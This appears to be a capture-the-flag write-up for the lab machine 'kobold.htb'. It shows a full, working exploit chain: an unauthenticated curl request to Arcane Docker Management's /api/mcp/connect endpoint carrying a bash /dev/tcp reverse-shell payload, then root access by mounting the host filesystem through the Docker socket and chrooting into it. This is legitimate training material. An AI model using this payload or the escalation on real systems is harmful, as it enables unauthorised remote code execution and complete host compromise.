API endpoint exploitation via CVE-2026-23520 to gain a reverse shell as ben, then abusing the Docker socket to mount the host filesystem and obtain the root flag.
We start by enumerating with nmap and gobuster as usual. Nmap reveals a web server on port 80/443, and gobuster vhost enumeration turns up 2 interesting subdomains.
$ nmap 10.129.15.195 Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-24 14:26 CET Nmap scan report for kobold.htb (10.129.16.53) Host is up (0.075s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https Nmap done: 1 IP address (1 host up) scanned in 13.69 seconds $ gobuster vhost -u "https://kobold.htb" -w "bitquark-subdomains-top100000.txt" --append-domain --no-tls-validation =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: https://kobold.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: ./bitquark-subdomains-top100000.txt [+] User Agent: gobuster/3.8.2 [+] Timeout: 10s [+] Append Domain: true =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== mcp.kobold.htb Status: 200 [Size: 466] bin.kobold.htb Status: 200 [Size: 24402] Progress: 10853 / 100000 (10.85%)
Visiting the two subdomains reveals their purposes:
bin.kobold.htb — hosting a PrivateBin instance (an open-source pastebin).mcp.kobold.htb — hosting an Arcane Docker Management panel, which exposes a Model Context Protocol (MCP) API interface.bin.kobold.htb and an Arcane Docker Management MCP server at mcp.kobold.htb. The MCP panel's version info is visible in the page source — it's running Arcane Docker Management v1.13.0.
A quick Google search for CVEs related to PrivateBin and Arcane Docker Management leads us to CVE-2026-23520. This vulnerability affects Arcane Docker Management v1.13.0 and below.
The flaw lies in the /api/mcp/connect endpoint: it accepts a JSON payload with a serverConfig object that specifies a command and args to execute. Because no authentication or input validation is enforced, an unauthenticated attacker can pass arbitrary shell commands and achieve Remote Code Execution.
| CVE | Service | Version | Impact | Severity |
|---|---|---|---|---|
CVE-2026-23520 |
Arcane Docker Management | ≤ v1.13.0 | Unauthenticated RCE via /api/mcp/connect |
CRITICAL |
/api/mcp/connect endpoint takes a serverConfig.command value and executes it server-side with no sanitisation. Passing bash with a reverse-shell one-liner in args is all we need.
We set up a listener on our attacker machine, then trigger the vulnerable endpoint with a crafted curl command.
Open a terminal and start ncat listening on port 4444.
$ ncat -lvp 4444 Ncat: Version 7.95 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444
In a second terminal, fire the exploit with curl. The serverConfig tells the server to run bash -c with a standard TCP reverse shell one-liner pointing back at our IP.
$ curl -k -X POST https://mcp.kobold.htb/api/mcp/connect \ -H "Content-Type: application/json" \ -d '{"serverId": "shell1", "serverConfig": {"command": "bash", "args": ["-c", "bash -i >& /dev/tcp/10.10.14.194/4444 0>&1"], "env": {}}}'
Switching back to terminal 1, we catch the incoming connection and confirm we are running as user ben.
Ncat: Connection from 10.129.16.53. Ncat: Connection from 10.129.16.53:54312. ben@kobold:~$ id uid=1001(ben) gid=1001(ben) groups=1001(ben)
The raw reverse shell is dumb — no tab completion, no arrow keys, and Ctrl+C kills the whole session. We upgrade it to a fully interactive TTY in three quick moves.
# 1. Spawn a proper PTY inside the reverse shell ben@kobold:~$ python3 -c 'import pty; pty.spawn("/bin/bash")' ben@kobold:~$ # 2. Background the shell, then fix the local terminal settings ben@kobold:~$ ^Z [1]+ Stopped ncat -lvp 4444 $ stty raw -echo; fg ncat -lvp 4444 # 3. Set the terminal type so colours and clear work correctly ben@kobold:~$ export TERM=xterm ben@kobold:~$
pty.spawn allocates a pseudo-terminal so the shell behaves like a real one. stty raw -echo stops our local terminal from intercepting keystrokes before they reach the remote shell. fg brings ncat back to the foreground with those settings active. Finally, export TERM=xterm lets programs like nano and clear render correctly.
With a shell as ben, the user flag is sitting right in the home directory.
ben@kobold:~$ cat user.txt HTB{REDACTED}
While enumerating the system we notice that Docker is running. However, ben is not in the docker group, so running docker commands fails.
ben@kobold:~$ docker ps permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.50/containers/json": dial unix /var/run/docker.sock: connect: permission denied
Despite the restriction, we can simply switch our active group to docker using newgrp, which gives us access to the Docker socket for the current session.
ben@kobold:~$ newgrp docker ben@kobold:~$ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 4c49dd7bb727 privatebin/nginx-fpm-alpine:2.0.2 "/etc/init.d/rc.local" 5 weeks ago Up 2 hours 127.0.0.1:8080->8080/tcp bin
The PrivateBin image privatebin/nginx-fpm-alpine:2.0.2 is already downloaded on the machine. We spin up a container as root (-u 0) and mount the entire host filesystem to /mnt.
ben@kobold:~$ docker run --rm -it -u 0 --entrypoint sh -v /:/mnt privatebin/nginx-fpm-alpine:2.0.2 / #
Using chroot we pivot from the container's view into the host filesystem mounted at /mnt, giving us a full root shell on the actual machine.
/ # chroot /mnt sh # id uid=0(root) gid=0(root) groups=0(root)
/ and chrooting into it from within the container (which runs as root), all filesystem protections are bypassed entirely.
With a root shell on the host, we navigate to /root and collect the final flag.
# cd /root # ls root.txt # cat root.txt HTB{REDACTED}